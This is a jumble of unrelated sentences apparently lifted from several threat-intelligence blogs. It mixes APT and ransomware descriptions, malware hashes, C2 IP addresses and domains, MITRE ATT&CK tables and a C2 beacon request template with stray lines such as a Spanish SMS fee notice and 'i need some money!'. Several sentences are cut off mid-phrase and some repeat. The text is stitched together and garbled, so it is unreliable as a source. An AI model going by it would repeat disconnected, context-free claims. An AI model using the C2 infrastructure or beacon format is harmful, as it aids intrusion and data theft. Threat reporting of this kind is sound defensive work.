Examples of related Office documents uploaded to VirusTotal: https://www.virustotal.com/gui/file/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67/detection https://www.virustotal.com/gui/file/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb/detection


This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.


You can also stay safe by changing the password on your router and updating the software.


The backdoor is usually hidden in the steganography photo and uses several techniques and tools to bypass AV detection.


For instance, we have successfully tested this exploit on Samsung Galaxy S4 Android phones running Android 4.3 (Build version JSS15J.I337UCUEMK2, Built on Nov. 16, 2013), and Amazon Fire OS version 13.3.2.5.


The pop-up is one of several security mechanisms added by Microsoft to mitigate the security risk that macros pose.


Who is the Winnti group?


We also found some links to Earth Berberoka.


Relationship between variants and C&C servers used by Maikspy


Figure 12.


MuddyWater is a well-known threat actor group that has been active since 2017.


A new folder named "Download" is created adjacent to the main binary.


The encrypted strings will pose as a magnet link to keep its malicious traffic from being detected by AV software.


The language is returned to its original setting when the run is finished.


This build command line has a function to update the final binary versions based on the last Git-tagged version.


This is the first known instance of Turla distributing Android-related malware.


Timestomp  The backdoor modifies the date and time of the dropped files using the “touch” command  Discovery  T1082  System Information Discovery  The backdoor collects various information to send to the C&C server  Collection  T1560.003  Archive Collected Data: Archive via Custom Method  The backdoor encrypts the data before exfiltration  Command and Control  T1095  Non-Application Layer Protocol


We did not manage to get a complete iOS chain this time, just a partial one where CVE-2019-8506 was used to get code execution in Safari.


We also sent all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.


It was last updated on May 12, 2022.


We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.


Targets


The handler for this message collects data from the victim’s device.


This can also be used by researchers, system administrators, and information security professionals when decrypting Protux’s latest version.


Second, this is a very large campaign.


One list shows the new campaign, which continues to progress.


Collection Screen Capture T1513 Used to take screenshot on the device Exfiltration Standard Application Layer Protocol T1437 Used Standard HTTP Protocol Command and Control Uncommonly Used Port T1509 Used uncommon ports 2000, 3000


Infection chain for the attack


These documents contain topics discussing either software development or digital currencies.


We have: c4a61b581890f575ba0586cf6d7d7d3e0c7603ca40915833d6746326685282b7


Figure 5.


Figure 3.


When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.


The group has since earned infamy for being involved in malicious activities associated with targeted attacks, such as deploying spear-phishing campaigns and building a backdoor.


The Sandworm APT group has been attributed as creating both Cyclops Blink and the VPNFilter internet of things (IoT) botnet.


This would mean infected machines could then be directed to further perform scanning and exploitation activity, in addition to directly executing shell commands received from the command and control (C2) server on the target machine.


As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.


All of the Sysget files used in this campaign communicate with a single command and control (C2) server, hosted at biosnews[.]info.


X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (Win98; I) X-Mailer: iPhone Mail (8A293)


It uses two encryption methods, depending on whether the target operating system is Windows or Linux: A ChaCha20 stream cipher with RSA-4096 is used on Linux, and Salsa20 with RSA-1024 is used on Windows.


Next, let’s look for the attribute indicator, starting with the CyaX assembly used in the NotepadEx attack.


First, keeping your systems and devices fully up-to-date with the latest software and security updates.


On the right, the legitimate document from CSBA.


As previously mentioned, TA505 abuses msiexec.exe to install its first stage payload, but we recently observed the group just directly downloading the first stage payload binary and executing it.


Self-deletion after execution


Coste por SMS recibido 1.46 euros/sms (IVA incluido) más el coste de navegación WAP, que dependerá del operador que tenga contratado.


In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.


Check for static keys in the IIS web.config file.


If the received data has 0x22 as the first set of bytes then the received data will be in the following format:  <0x22><IP Address 1(4bytes)><IP Address 2 (4bytes)>  It will also do the following UDP connection test:  If the first value in the packet is 0xC8 then the file will set "g_mainsrvinfo.srandipb" and "g_mainsrvinfo.srandipe" and "g_mainsrvinfo.udpport" to the passed in values.


The PDF  exploits CVE-2013-2729 to download a binary which also installed CryptoWall 2.0.


Again, the response is expected to be "OK".


The JavaScript embedded within the HTML uses the ms-msdt schema to invoke the PCWDiagnostic pack, to reference the IT_BrowseForFile to execute the base64-encoded PowerShell Invoke-Expression command.  The base64-decoded text within the PowerShell Invoke-Expression is shown in Figure 2 below.


It then spawns a new instance of 'C:\\windows\\system32\\cmd.exe' with a window name of 'Chrome-Update'.


Figure 8.


Figure 2. Language ID of the Version Resource


How a Ransomware Attack Could Affect Retailers


Virlock uses, but isn’t limited to, PDF, DOC, PPT, JPG, BMP,GIF, RAR, 7Zip, Zip and EXE files.


On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.


Shining a light on an expanding attack surface Spurred by a drive for greater cost efficiency and business agility, global organizations are migrating to the cloud in droves.


Recent sha256 hashes of malware samples:


Olympic Wintersports Federations


Updated June 7 to add additional in-the-wild observations.


Directory name should not contain any of the following strings: .git appdata cache image lib log logs microsoft reference res resource script setup skin temp theme third_party thirdparty    If all of the above conditions are met, it will encrypt all the files in the given directory except those with the following extensions:  .avi .dll .gif .iso .m2ts .mkv .mov .mp3 .msi .ocx .tmp .wmv


When using double extortion, attackers will not only lock up a victim’s files and demand ransom, but they will also steal files and threaten to publish them on a website or otherwise leak them if their initial ransom demand is not met.  But Conti’s methods do have atypical elements.


Their campaigns employ the Daserf backdoor (detected by Trend Micro as BKDR_DASERF, otherwise known as Muirim and Nioupale) that has four main capabilities: execute shell commands, download and upload data, take screenshots, and log keystrokes.


A notable characteristic of Blackgear is the degree to which its attacks are taken to evade detection, abusing blogging, microblogging, and social media services to hide its command-and-control (C&C) configuration.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


We received leads from the FBI that supported us in this investigation.


Once these are accomplished, Earth Lusca is free to perform its post-exploitation routines that include installation of tools such as Cobalt Strike and Acunetix (we discuss the post-exploitation routines in detail in the technical brief).


(NOTE: This exploit is not connected to the other three we’ve discussed above.)


We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.


A predefined list of memory offset intended to grab information from different versions of WeChat      Figure 26.


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.


In Figure 8, we show the patterns for different types of SMS contents.


Late last month reports surfaced that a new Internet Explorer vulnerability (CVE-2014-1776) was being exploited in targeted attacks.


Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.


It is likely a late refactor to the code.


We haven’t retrieved a copy of the exploit.


According to leak site data analysis, LockBit 2.0 was the most impactful RaaS for five consecutive months.


They find ways to bypass its security controls and sneak inside the company networks to find what they’re looking for: usually databases full of customer data.


The receiver starts the malicious service.


This is detailed in depth in today’s Reuters investigation into the Indian hack-for-hire ecosystem.


We haven’t seen any evidence of such attempts being successful.


Although the applications were never available in Google Play, we have notified the Android users of infected devices and implemented changes in Google Play Protect to protect all users.  Android Implant This analysis is based on fe95855691cada4493641bc4f01eb00c670c002166d6591fe38073dd0ea1d001 that was uploaded to VirusTotal on May 27.


Once we have the download link, we can then use the Cortex™ XSOAR built-in command “http” to retrieve the file and save it to the War Room for this incident so that it can be downloaded and analyzed.          This is just one example use case that we have seen implemented to automate security operations by leveraging the integration between Trend Micro Vision One™ and Palo Alto Networks Cortex™ XSOAR.


This post is also available in:      日本語 (Japanese)  In July 2020, Microsoft released a security update, CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability, for a new remote code execution (RCE) vulnerability.


Palo Alto Networks customers receive protections against CVE-2022-22965 and CVE-2022-22963 via products and services including Cortex XDR Prevent and Pro, a Threat Prevention subscription for the Next-Generation Firewall, and Prisma Cloud Compute.


Once installed (i.e. implanted on a system), the modern backdoor typically offers much more than simple (i.e. command line) access to a system.


If we test it using a sample binary, the following is generated:  Figure 5. Testing a sample binary using ConfuserEx There are two important aspects to this attribute: first, it is hardcoded as a string constant and second, its value is presented in clear text in the final binary as the following image shows.


It then runs the “net group /domain” command and checks if “workgroup” is contained in the output result.


Gartner predicts that spending on public cloud services including IaaS, SaaS and PaaS will reach nearly $500bn this year and grow by over 21% to hit $600bn by 2023.


That's just ridiculous, right?


In a Microsoft article about brute-forcing Office365 credentials over Tor, Microsoft attributed the activities to Strontium, which is another name for Pawn Storm.


During our monitoring of Confucius, we came across a campaign delivering the same payload, using a different lure.


Tags  Cloud | Malware | APT & Targeted Attacks | Cyber Crime | Expert Perspective


Securing IIoT systems is hard: it requires capabilities across the cloud, the network, and the devices themselves.


Host: {C2} Accept-Encoding: gzip


The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.


Finally, our third algorithm uses a 94-character substitution table.


These are the markers of infection as previously mentioned.


Because again, that's where we're going to get our information if a conflict does come up.


Figure 1: How PLEAD utilizes compromised routers PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as virtual server.


The exploit was patched on February 14, 2022.


Another important consideration for attribution is that we have some historical background for Operation Earth Kitsune.


In this research, we discussed ransomware family trends we observed in the first three months of 2021.


It’s this last point that gets to the heart of why ransomware is so potent.


day or 0-day?


Phase 1 + Phase 2 + threatening DDoS.


If you think you may have been impacted by ransomware, please email unit42-investigations@paloaltonetworks.com or call (866) 4-UNIT42 to get in touch with the Unit 42 Incident Response team.


It will display the page below.


During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”


It’s also possible that while AnubisSpy’s operators may also be Sphinx’s, they could be running separate but similar campaigns.


After installation is complete, the malware makes another HTTP POST containing the various file paths it used.


We remain committed to updating the community as we uncover these campaigns.


In each SmileSvr, there is an embedded number (e.g., 10601 in Figure 10.) and this value will be used as sequence number in the sent ICMP packet.


In this case, an organization can look into third party security providers who can handle specialized work, such as root cause analysis and detailed research, and also provide a remediation plan that gives organizations a better chance against advanced threats.


However, this has not been confirmed and is unlikely to account for the global spread of the malware.


However, users likely experience a noticeable slowdown in system performance.


But the full ramifications and why these make ransomware hard to stop aren’t always discussed.


The result of the id command would tell us whether our script was run as a regular user or as root.


One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.


Both pages from this campaign are shown below.


Fortunately, most cloud providers have already deployed security updates and those that haven’t are expected to do so shortly.


While there is a lot of overlap between HelloXD and Babuk, there are some small but crucial differences to take note of between Babuk and the two different variants.  HelloXD version 1 is the least modified, utilizing Curve25519-Donna and a modified HC-128 algorithm to encrypt file data, while also containing the same CRC hashing routine incorporating the string dong, possibly referencing Chuong Dong, who had previously analyzed and reported on the first version of Babuk (Figure 8).


As noted above, the ScreenConnect executable connects to the Internet-ID server, which is located at instance-sy9at2-relay.screenconnect.com and resolves to 51.68.244.39.


For example, JoloPay, WiPay, TPADPay and EgamePay follow this design exactly.


The list of indicators of compromise, which includes Trend Micro’s corresponding detections and solutions, is in this appendix.


The following security best practices can help both individuals and organizations thwart cybermercenary attacks (and cyberattacks in general):  Employ the services of a reputable provider that places high priority on security.


At least one message was sent to a diplomat based in the island of Saint Martin after Hurricane Irma hit.


And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.


It’s not possible to list all of the domains generated by the DGA, which is the main advantage of this mechanism.  To protect your network from the I2P communication used by both Dyre and CryptoWall 3.0, the easiest route is simply to identify I2P traffic and block it completely.


Using this method, we are able to provide length checking for Flash vector objects.


This means all of the apps created by these developers, regardless of intended use, could be used maliciously.


What is it?


So, it’s not surprising to see that cybercrime is turning its attention to cryptocurrencies.


Tracking Water Nue’s activities


BIOPASS RAT Loader  Backdoor.


It is an ecosystem of retailers, distributors, and suppliers participating in the sale, delivery, and production of hardware, software, and managed services.


As the course of the COVID-19 pandemic evolves, we’ve seen threat actors evolve their tactics as well.


Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.


Oh, absolutely.


inserted by malicious actors to avoid detection


About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.


Running the initall wrapper script


We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.


It’s time to take precautions and start good mobile banking security habits.


Later the actor started to use IMAP RATs as well.


The data is then exfiltrated via email to a compromised email account.


Please review KB4569509: Guidance for DNS Server Vulnerability CVE-2020-1350 for more details.


For more details about Earth Baku’s new campaign, read our research paper "Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor."        Tags  Articles, News, Reports | APT & Targeted Attacks | Research


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.


Tens of thousands of the mutexes have been seen in only a single sample each.


Of the 12,351 applications on the Google Play store with > 500,000 installations, only 556 explicitly disable this backup system.


Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017  Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals.


The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.


Others have been in existence for many years, such as TPacket, SCM Client, SystemInfo, CMD5, CIOStream, and CInfo.


it is never written in clear text to the file disk.


IMAP RAT  Trojan.MSIL.OCEANMAP.A  Troj


Cortex XSOAR is a trademark of Palo Alto Networks.


Finally, when an ADB backup is initiated, a window pops up on the device screen to ask the user to press “Back up my data.”


Figure 3. Screenshot of the second fake website


And ensure that any cloud-connected accounts have good passwords and use a second authentication method, if possible.


I'm going to..."


They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March.


This blog details how Iron Tiger threat actors have updated their toolkit with an updated SysUpdate malware variant that now uses five files in its infection routine instead of the usual three.


Upon visiting the webpage, the “Username” field is pre-


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries 03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa


7. Don’t Forget About Home Entertainment Apps, TVs and DVRs:


ScreenManage - Takes a screenshot.


Use-after-free bugs have affected Internet Explorer for years.


While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys).


Obfuscated Files or Information: Software Packing T1218.011


Developer HQ Region Open Source


HRX


Waiting for the tipping point


Python.BIOPASS.A  ee4150f18ed826c032e7407468beea3b1f738ba80b75a6be21bb8d59ee345466


We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.


After the data are collected, they are encrypted and sent to the (C&C) server.


We discovered a malware family called Maikspy — a multi-platform spyware that can steal users’ private data.


We observed a large amount of unique IP addresses during our analysis – with 2,056 addresses triggering the Spring Core Remote Code Execution Vulnerability signature.


This means it is the developer’s responsibility to keep the private key safe, whether that developer is a 13-year-old or a multi-national company.


Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.


Expanding EDR to include other areas is the definition of XDR.


Therefore, it’s highly likely that Confucius will continue to experiment and try out different kinds of social engineering lures in future campaigns.


We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.


These developers help customers build mobile apps for their businesses easily and quickly.


Updated June 3, 2022, at 3:30 p.m. PT.


Political targets


The risk assessment described in this document aims to assess and prioritize the risks of the entire smart factory environment, including IT.


Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.


We believe its use is growing, fueled by demand from governments.


Another example of a header allegedly from the Ministry of Internal Affairs of Tajikistan


The final payload proceeds to generate the following mutex to ensure only one copy of the malware is running concurrently:  Global\SPPLMUTEX  The payload then spawns two threads—one to maintain persistence and another to gather victim information and perform command and control operations.


The backdoor functions of SSL version SmileSvr are similar to the ICMP ones.


IMAP RAT  Trojan.MSIL.OCEANMAP.A  Troj


However, they are particularly known for dangerous credential phishing campaigns.


The malware attempts to ensure Internet connectivity by making a request to www.microsoft.com.


The Bash Uploader script allows its customers to send code coverage reports to the Codecov platform for analysis.


Opening this file (MITRE ATT&CK framework ID T1204) executes the template injection method (MITRE ATT&CK framework ID T1221).


The spyware connects to 107[.]180[.]46[.]243.


Exploit Public-Facing Application [T1190], Spearphishing Attachment [T1566.001]  Windows Command Shell [T1059.003], Native API [T1106]  Deobfuscate/Decode Files or Information [T1140], Obfuscated Files or Information [T1027], Dynamic-link Library Injection [T1055.001]  File and Directory Discovery [T1083], Network Share Discovery [T1135], Process Discovery [T1057], System Network Configuration Discovery [T1016], System Network Connections Discovery [T1049]  SMB/Windows Admin Shares [T1021.002], Taint Shared Content [T1080]  Data Encrypted for Impact [T1486], Inhibit System Recovery [T1490], Service Stop [T1489]  Table 1.


The email address admin@93[.]gd is linked to IP addresses owned by a certain user with the nickname “PIG GOD”—another reference to Hack520’s passion for pigs.


These aggregators get data from very few C&C servers (only 1 or 2), with only up to a dozen victims per unique C&C domain.


Operation Red Signature’s attack chain


This “killswitch” will prevent the WanaCrypt0r ransomware from executing.


A Domain Generation Algorithm is a program that is designed to generate domain names in a particular fashion.


Mining is also a computationally intensive process, meaning it takes a lot of system resources.


While running the btdaemon process also inspects whether there is an ".IptabLes" or ".IptabLex" local process, and sends back status for monitoring purposes.  If the "disablerun" command is sent the backdoor will download a file named "run.txt" from one of the following URLs:  The file data is in the format "exe_path_1 | exe_path_2 | ... | exe_path_N".  If none of the paths is correct then a "getsetup.rar" file is downloaded and run.


Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.


After running the clean up script the malware overwrites the ‘\CData\C’ registry key with a value of zero, which removes the unique SHA256 key.


In fact, the top three filenames – tomcarwar.jsp, checkexploit.jsp and javatestfila.jsp – account for over 84% of the activity with known webshell filenames.


Table 2 contains details of a PlugX sample using the PixelPlus Co., Ltd certificate that is currently only detected by four AV vendors.


Abusing Microsoft Word's "Frames/Frameset"


Figure 9.


The problem (for them) with the more traditional types of attack targeting back-end databases, is that these organizations may store card data encrypted, or else minus the crucial CVV/CV2 code.


RMS RAT is added to the startup registry and executed Updates on TA505's tactics, techniques and procedures


APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.


Conclusion


As we further analyzed the main behavior by downloading the encrypted FlawedAmmyy RAT and decrypted it with RC4, we found that it was similar to the previous campaigns, but with a few updates.


Organizations can also find capable security solutions that can help interpret and respond to malicious activities, techniques, and movements before the threat can culminate and affect an enterprise.


We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.


Organizations can protect themselves from Cyclops Blink attacks by using strong passwords and re-examining their security measures.


However, the 'DoS' consists only of a single GET request to the target website, not enough to be effective.


In this instance, the campaign impersonated the Pakistani Defense Housing Authority.


The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.


The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.


This malware disables Windows Defender Threat Protection, is destructive in nature and was discovered to have targeted multiple organizations in Ukraine.


Some of the delivered malicious scripts attempt to install backdoors to the websites built with the EC-CUBE framework, which is popular in Japan.


introduces the affected machine to the C&C server PRB-History


catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }


A comprehensive security strategy that involves proactive incident response will need the input of both decision makers and tech-savvy personnel, as they will need to be on the same page for it to be effective.


After looking at previous versions of this installer, we found that the first compromised version was 2.3.0, built on May 26, 2022, while the previous version (2.2.10, published on May 6, 2022) was clean.


Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.


The trojanized version of the Syria eGov Application  AndroidOS_StrongPity.HRX  374d92f553c28e9dad1aa7f5d334a07dede1e5ad19c3766efde74290d0c49afb  Sample repackaged from Kingoroot  AndroidOS_StrongPity.HRX  a9378a5469319faffc48f3aa70f5b352d5acb7d361c5177a9aac90d9c58bb628                                                                                Sample repackaged from net.cybertik.wifi  AndroidOS_StrongPity.HRX  be9214a5804632004f7fd5b90fbac3e23f44bb7f0a252b8277dd7e9d8b8a52f3  Repackaged from Snaptube  AndroidOS_StrongPity.HRX  596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d  Repackaged from Snaptube  AndroidOS_StrongPity.HRX  75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b    Fake Samsung Security Service sample  AndroidOS_StrongPity.HRX    Network C&C Infrastructure  SHA256  Domain  Detection  fd1aac87399ad22234c503d8adb2ae9f0d950b6edf4456b1515a30100b5656a7  Internetwideband[.]com  AndroidOS_StrongPity.HRX  374d92f553c28e9dad1aa7f5d334a07dede1e5ad19c3766efde74290d0c49afb  upeg-system-app[.]com  AndroidOS_StrongPity.HRX  a9378a5469319faffc48f3aa70f5b352d5acb7d361c5177a9aac90d9c58bb628                                                                                networktopologymaps[.]com  AndroidOS_StrongPity.HRX  be9214a5804632004f7fd5b90fbac3e23f44bb7f0a252b8277dd7e9d8b8a52f3  networktopologymaps[.]com  AndroidOS_StrongPity.HRX  596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d  upeg-system-app[.]com  AndroidOS_StrongPity.HRX  75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b    upn-sec3-msd[.]com  AndroidOS_StrongPity.HRX           Tags  APT & Targeted Attacks | Research | Mobile | Articles, News, Reports


One of the normal applications, called “OpinionPoll,” is a survey app for gathering opinions regarding the Nepal-India political map dispute, which seems to be another political lure similar to the one they used in the spear-phishing portion.


Most either use ROS/ROS2 in their products, for example as robot manufacturers, or they want to help develop the software.


This means that prevention against attacks will have to focus on specific malware, attacks, and hosting sites as they emerge.


It should be noted that a client could send a crafted packet to the server without needing to start an RDP session.


It’s important to note, however, that since the malware is modular in nature, it can be easily recompiled to target any other device.


Technology is also catching up; recent advances in two-factor/multi-factor authentication (2FA/MFA) and one-time passwords (OTP) represent the best long-term approaches to preventing credential theft.


Figure 1. A sample of a credential phishing email Pawn Storm sent in October and November 2017  Figure 2.


This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.


Tags  Latest News | ICS OT | APT & Targeted Attacks | IoT |


If you think you may have been compromised by wiper attacks, Gamaredon, DDoS attacks or other cyber activity related to Russia-Ukraine, or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.


This means more than 86% of Android users do not benefit from this enhancement and are vulnerable.


The file description included the entry VlahmAV, a play on words on ClamAV, and the developer named the ransomware HelloXD and used another potential alias, uKnow, as the developer of HelloXD in the copyright section.


The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.


Exploiting a webmail system’s cross-site scripting (XSS) vulnerability to allow their malicious JavaScript to be injected on the webmail page permanently.


The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.


“Coin miner” code is code used to “mine” for digital currency like bitcoin.


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


Version 2 has an ability to execute “su” command, if the device is rooted.


Full details of Glupteba’s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:


What does impact you is the vast majority of organized cybercriminals who are out to make a profit.


This post is also available in:      日本語 (Japanese)  This Unit 42 blog provides an update on the threat situation surrounding the WanaCrypt0r ransomware attacks and how the attack propagates.


As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.


Protections against WhisperGate malware have been included in Cortex XDR, as well as in the WildFire and Advanced URL Filtering subscriptions for the Next-Generation Firewall.


TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.


We also provide research grants to security researchers to help fund and support the research community.


The default attribute shown in clear text in the final binary We now have solid evidence that CyaX_Sharp was obfuscated using a modified version of ConfuserEx.


Enjoy.


As ZDI predicted, 2021 continued to be a busy year.


Indicators of Compromise  SHA-256  Filename/Description  Trend Micro Pattern Detection  cfa3d506361920f9e1db9d8324dfbb3a9c79723e702d70c3dc8f51825c171420   ALL%20tim%20nha%20Chi%20Ngoc%20Canada.zip  Backdoor.MacOS.OCEANLOTUS.F  48e3609f543ea4a8de0c9375fa665ceb6d2dfc0085ee90fa22ffaced0c770c4f  ALL tim


Overview


Overread


Within these files is a link to an attacker controlled phishing domain.


We found several identifying features of the threat actors within the techniques and tools described in the preceding sections, and we break down the factors in the following.


This can also be used to grant the malware full administrative privileges on the device.


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In what way?


It specifically scans for web server-related vulnerabilities and password weaknesses in Apache Tomcat, Citrix, and phpMyAdmin applications.


Cyber is that one space such as air dominance, for example, right?


We also added a section on indicators.


i need some money!


We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.


In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.


These credential phishing campaigns have ranged from targeting specific government organizations to AWS accounts to Gmail accounts.


Reports suggest tens of thousands of cybersecurity professionals there have enlisted as volunteers to help the country’s efforts.


250dd811187959220220574a185ccf669e06c0ee3926773a7cb94750c401812cC:\Documents and Settings\Administrator\Desktop\Form1.cs


So, what is driving a widespread shift from attackers and creating a significant trend in the industry?


When the RemoteUtilities software is executed, its process launches msiexec.exe with the following command:


The script used to establish WebSocket communication      Figure 15.


MITRE ATT&CK ICS Attack Surface Vector CVE Scope CVSS Weaknesses (CWE) T0804:


Figure 5.


The phishing typically started with a customized email introducing the company and its products.


How it Works


That same month, he released Brute Ratel v0.9.0 (Checkmate), which is described as the “biggest release for Brute Ratel till date.”  However, of greater concern, the release description also specifically noted that “this release was built after reverse engineering several top tier EDR and Antivirus DLLs.”


The following are samples using this evasion: https://www.virustotal.com/gui/file/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f/detection


Last year, exploitation of CVE-2013-3163 targeted Internet Explorer 8 and earlier this year, we found exploitation of CVE-2014-0322 in Internet Explorer 10.


By using an algorithm to build the list of domains, the attackers also make it harder for defenders to know or predict what domains will be used than if they had a simple list of domains.


The remaining lines are then parsed.


Please mark, I'm not a robot!


Monero is a cryptocurrency similar to bitcoin but notable for its increased emphasis on providing a higher level of privacy around its transactions.


TTPs Correlation


Commands


After some data collection we found more than 300 samples that correlate to the mentioned indicators that were recently very active  our first detections occurred in August, with the campaign itself still ongoing (having occasional spikes in between).


Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.


Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.


To view the certificate information just open the given APK file as a zip file.


The Trend Micro™ Hosted Email Security no-maintenance cloud solution delivers continuously updated protection to stop spam, malware, spear phishing, and advanced targeted attacks before they reach the network.


This makes them vulnerable to hacking and spear phishing.


The batch file that was to be executed had a suspicious name that stood out.


Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.


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This NSIS-encapsulated file then installs ServHelper .


Indeed, Blackgear’s attacks exemplify the need for organizations to develop and implement security strategies that can proactively respond to threats.


In order to defend against the Android Toast Overlay attack, update all Android devices to the latest version.


Figure 1. Stages of Earth Centaur’s intrusion process      Technical Analysis of Earth Centaur’s Tools and Techniques Stage 1: Loaders


REDBALDKNIGHT’s use of steganography isn’t limited to Daserf.


We have already observed an increase in Russian cyber activity, which we reported on in our initial Threat Brief published last month and our recent report on the Gamaredon group.


For example, “mail-nepalgovnp[.]duckdns[.]org” was created to pretend to be the original Nepal government’s domain “mail[.]nepal[.]gov[.]np”.


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


Now don't get me wrong, this isn't to blame on defenders.


In October, CryptoWall 2.0 began using the Tor anonymity network to serve web pages to infected users who wanted their encrypted files back.


We saw two notable changes throughout Protux’s history: its export name and how it functions:


if __name__ == '__main__': decrypt (


We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.


Related hashes are listed in the Technical Details section, at the end of this report.


grows in sophistication.


EXOTIC LILY activities overlap with a group tracked as DEV-0413 (Microsoft) and were also described by Abnormal in their recent post.


In addition, port / protocol mis-match traffic can be an indicator of bad activity.


